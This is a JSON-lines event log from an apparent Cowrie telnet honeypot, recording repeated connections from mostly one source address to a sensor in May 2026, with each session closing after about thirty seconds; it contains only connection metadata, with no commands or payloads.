{"eventid":"cowrie.session.closed","duration":30.70191740989685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.035233Z","src_ip":"204.10.38.242","session":"c3aa3264621d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.212947368621826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.141238Z","src_ip":"204.10.38.242","session":"446e209ba1cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67847466468811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.154940Z","src_ip":"204.10.38.242","session":"267de7f6b7cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56060,"dst_ip":"159.203.135.109","dst_port":23,"session":"2190550ef42e","protocol":"telnet","message":"New connection: 204.10.38.242:56060 (159.203.135.109:23) [session: 2190550ef42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.384379Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56540,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbbe851a151c","protocol":"telnet","message":"New connection: 204.10.38.242:56540 (159.203.135.109:23) [session: dbbe851a151c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.454647Z"}
{"eventid":"cowrie.session.closed","duration":31.53297185897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.492550Z","src_ip":"204.10.38.242","session":"ff725b82eefe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55944,"dst_ip":"159.203.135.109","dst_port":23,"session":"418f3d60533d","protocol":"telnet","message":"New connection: 204.10.38.242:55944 (159.203.135.109:23) [session: 418f3d60533d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.518701Z"}
{"eventid":"cowrie.session.closed","duration":0.005339145660400391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:05.523926Z","src_ip":"204.10.38.242","session":"418f3d60533d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58598,"dst_ip":"159.203.135.109","dst_port":23,"session":"20566c756e1f","protocol":"telnet","message":"New connection: 204.10.38.242:58598 (159.203.135.109:23) [session: 20566c756e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.000784Z"}
{"eventid":"cowrie.session.closed","duration":30.842767000198364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.125201Z","src_ip":"204.10.38.242","session":"1af52bc099e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60065197944641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.150263Z","src_ip":"204.10.38.242","session":"93c9cc6c26d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149303197860718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.206781Z","src_ip":"204.10.38.242","session":"7bd28a2badeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60614,"dst_ip":"159.203.135.109","dst_port":23,"session":"75622f22193b","protocol":"telnet","message":"New connection: 204.10.38.242:60614 (159.203.135.109:23) [session: 75622f22193b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.427747Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33390,"dst_ip":"159.203.135.109","dst_port":23,"session":"c087fdedac80","protocol":"telnet","message":"New connection: 204.10.38.242:33390 (159.203.135.109:23) [session: c087fdedac80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.610940Z"}
{"eventid":"cowrie.session.closed","duration":31.203354120254517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.640467Z","src_ip":"204.10.38.242","session":"666c2bf587fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53590,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc8d4dd50478","protocol":"telnet","message":"New connection: 204.10.38.242:53590 (159.203.135.109:23) [session: cc8d4dd50478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:06.812835Z"}
{"eventid":"cowrie.session.closed","duration":30.71041464805603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.054480Z","src_ip":"204.10.38.242","session":"c11a4daf7fac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.504374027252197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.069706Z","src_ip":"204.10.38.242","session":"f4879ffb1950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855006456375122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.113037Z","src_ip":"204.10.38.242","session":"dfb0fb785fb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671677589416504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.140447Z","src_ip":"204.10.38.242","session":"dc44ce7291d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924246788024902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.307161Z","src_ip":"204.10.38.242","session":"c3d91961b5ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.066291093826294,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.321512Z","src_ip":"204.10.38.242","session":"4bb9490a5873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36876,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a04f111c018","protocol":"telnet","message":"New connection: 204.10.38.242:36876 (159.203.135.109:23) [session: 4a04f111c018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.392560Z"}
{"eventid":"cowrie.session.closed","duration":30.942606449127197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.539133Z","src_ip":"204.10.38.242","session":"2c81cca3c3c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38630,"dst_ip":"159.203.135.109","dst_port":23,"session":"305459d7d6bf","protocol":"telnet","message":"New connection: 204.10.38.242:38630 (159.203.135.109:23) [session: 305459d7d6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:07.667559Z"}
{"eventid":"cowrie.session.closed","duration":30.6529061794281,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:08.076222Z","src_ip":"204.10.38.242","session":"0bdddccd7ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.245935440063477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:08.125087Z","src_ip":"204.10.38.242","session":"4b6a373e1e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839938163757324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:08.131833Z","src_ip":"204.10.38.242","session":"5c4f6ab3a5e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010596990585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:08.346440Z","src_ip":"204.10.38.242","session":"b69ae65f8f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41610,"dst_ip":"159.203.135.109","dst_port":23,"session":"316a4e058dfb","protocol":"telnet","message":"New connection: 204.10.38.242:41610 (159.203.135.109:23) [session: 316a4e058dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:08.423164Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":39220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d862baedcc02","protocol":"telnet","message":"New connection: 204.10.38.242:39220 (159.203.135.109:23) [session: d862baedcc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:08.862001Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44454,"dst_ip":"159.203.135.109","dst_port":23,"session":"e393c7eab68e","protocol":"telnet","message":"New connection: 204.10.38.242:44454 (159.203.135.109:23) [session: e393c7eab68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:08.990040Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49660,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ad56fc71e7","protocol":"telnet","message":"New connection: 204.10.38.242:49660 (159.203.135.109:23) [session: e2ad56fc71e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:10.233891Z"}
{"eventid":"cowrie.session.closed","duration":31.184693098068237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:10.249121Z","src_ip":"204.10.38.242","session":"8e9325090f36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834540128707886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:10.289367Z","src_ip":"204.10.38.242","session":"69c75c647147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51046,"dst_ip":"159.203.135.109","dst_port":23,"session":"caecfc20e48f","protocol":"telnet","message":"New connection: 204.10.38.242:51046 (159.203.135.109:23) [session: caecfc20e48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:10.442931Z"}
{"eventid":"cowrie.session.closed","duration":31.073334455490112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:10.680738Z","src_ip":"204.10.38.242","session":"b3e90cbf59b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52404,"dst_ip":"159.203.135.109","dst_port":23,"session":"36c162573fce","protocol":"telnet","message":"New connection: 204.10.38.242:52404 (159.203.135.109:23) [session: 36c162573fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:10.702348Z"}
{"eventid":"cowrie.session.closed","duration":30.764800548553467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:11.108398Z","src_ip":"204.10.38.242","session":"19cd7e49dc04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.893070697784424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:11.175195Z","src_ip":"204.10.38.242","session":"a7bba78212e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774375915527344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:11.231165Z","src_ip":"204.10.38.242","session":"5c1e872e55f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988102197647095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:11.254796Z","src_ip":"204.10.38.242","session":"c8f240fe8ce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46401882171631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:11.259744Z","src_ip":"204.10.38.242","session":"a88c3a76ce89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55720,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80f50090e61","protocol":"telnet","message":"New connection: 204.10.38.242:55720 (159.203.135.109:23) [session: c80f50090e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:11.417078Z"}
{"eventid":"cowrie.session.closed","duration":31.472111701965332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:11.677554Z","src_ip":"204.10.38.242","session":"d2ea88420684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76977515220642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:12.149527Z","src_ip":"204.10.38.242","session":"2b7ff183de98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.317354917526245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:12.195968Z","src_ip":"204.10.38.242","session":"68b1ed375983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8648042678833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:12.220843Z","src_ip":"204.10.38.242","session":"2f368dc3db6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.498788595199585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:12.297629Z","src_ip":"204.10.38.242","session":"2192709349a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55124,"dst_ip":"159.203.135.109","dst_port":23,"session":"65c907baebc9","protocol":"telnet","message":"New connection: 204.10.38.242:55124 (159.203.135.109:23) [session: 65c907baebc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:12.341974Z"}
{"eventid":"cowrie.session.closed","duration":31.798704624176025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:12.765804Z","src_ip":"204.10.38.242","session":"3d210253436e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.992156982421875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:12.984766Z","src_ip":"204.10.38.242","session":"0544dd27f220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783409118652344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:13.089454Z","src_ip":"204.10.38.242","session":"e142858361f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae20e74042c3","protocol":"telnet","message":"New connection: 204.10.38.242:35762 (159.203.135.109:23) [session: ae20e74042c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:13.214425Z"}
{"eventid":"cowrie.session.closed","duration":30.73686456680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:13.231028Z","src_ip":"204.10.38.242","session":"ead007141e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65982937812805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:13.324365Z","src_ip":"204.10.38.242","session":"39db26fbf691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50864,"dst_ip":"159.203.135.109","dst_port":23,"session":"592e5802fad3","protocol":"telnet","message":"New connection: 204.10.38.242:50864 (159.203.135.109:23) [session: 592e5802fad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:13.403046Z"}
{"eventid":"cowrie.session.closed","duration":31.847041368484497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:13.928191Z","src_ip":"204.10.38.242","session":"b2d31c3f1d0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73371410369873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:14.106538Z","src_ip":"204.10.38.242","session":"c28d34c5509c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92141079902649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:14.217540Z","src_ip":"204.10.38.242","session":"d8b9cb883a64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736302614212036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:14.223141Z","src_ip":"204.10.38.242","session":"cc45adee7161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838079929351807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:14.300736Z","src_ip":"204.10.38.242","session":"f15dbd812b7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42218,"dst_ip":"159.203.135.109","dst_port":23,"session":"783e3b401256","protocol":"telnet","message":"New connection: 204.10.38.242:42218 (159.203.135.109:23) [session: 783e3b401256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:14.416942Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46458,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e8e1cfc53b","protocol":"telnet","message":"New connection: 204.10.38.242:46458 (159.203.135.109:23) [session: f8e8e1cfc53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:15.317765Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48020,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f9b27c42c58","protocol":"telnet","message":"New connection: 204.10.38.242:48020 (159.203.135.109:23) [session: 9f9b27c42c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:15.493515Z"}
{"eventid":"cowrie.session.closed","duration":32.7006139755249,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:15.892021Z","src_ip":"204.10.38.242","session":"584b7b3b54c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245348930358887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:16.161055Z","src_ip":"204.10.38.242","session":"30a1d57404fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81612277030945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:16.407854Z","src_ip":"204.10.38.242","session":"d9b2c92ac43e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.75548577308655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:16.440288Z","src_ip":"204.10.38.242","session":"bce08a0a186f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48382,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1557f8172a2","protocol":"telnet","message":"New connection: 204.10.38.242:48382 (159.203.135.109:23) [session: c1557f8172a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:16.566548Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53198,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9f73d9dc96","protocol":"telnet","message":"New connection: 204.10.38.242:53198 (159.203.135.109:23) [session: 1b9f73d9dc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:16.625201Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53594,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ed169ed8ed","protocol":"telnet","message":"New connection: 204.10.38.242:53594 (159.203.135.109:23) [session: 37ed169ed8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:16.719050Z"}
{"eventid":"cowrie.session.closed","duration":30.470283031463623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:17.035905Z","src_ip":"204.10.38.242","session":"ca9a9b51d6f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439922094345093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:17.050063Z","src_ip":"204.10.38.242","session":"a80ffe3649ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.779332399368286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:17.102491Z","src_ip":"204.10.38.242","session":"6e54202f5519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092893362045288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:17.265908Z","src_ip":"204.10.38.242","session":"54d1e40bc01e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51334,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a8a36e7e5f","protocol":"telnet","message":"New connection: 204.10.38.242:51334 (159.203.135.109:23) [session: 75a8a36e7e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:17.332137Z"}
{"eventid":"cowrie.session.closed","duration":31.2338547706604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:17.749297Z","src_ip":"204.10.38.242","session":"09dfefeca54b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.502358436584473,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:17.756332Z","src_ip":"106.205.179.185","session":"6a1e4f469c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60774,"dst_ip":"159.203.135.109","dst_port":23,"session":"126d9a702b16","protocol":"telnet","message":"New connection: 204.10.38.242:60774 (159.203.135.109:23) [session: 126d9a702b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:18.259937Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60824,"dst_ip":"159.203.135.109","dst_port":23,"session":"011105be4893","protocol":"telnet","message":"New connection: 204.10.38.242:60824 (159.203.135.109:23) [session: 011105be4893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:18.286146Z"}
{"eventid":"cowrie.session.closed","duration":39.63149690628052,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:18.351809Z","src_ip":"204.10.38.242","session":"1bd3735c0560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f1c6923aa6f","protocol":"telnet","message":"New connection: 204.10.38.242:36324 (159.203.135.109:23) [session: 4f1c6923aa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:18.960473Z"}
{"eventid":"cowrie.session.closed","duration":36.937432289123535,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.063503Z","src_ip":"204.10.38.242","session":"30ec74cac99f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72397518157959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.068551Z","src_ip":"204.10.38.242","session":"581aee36e06f","protocol":"telnet"}
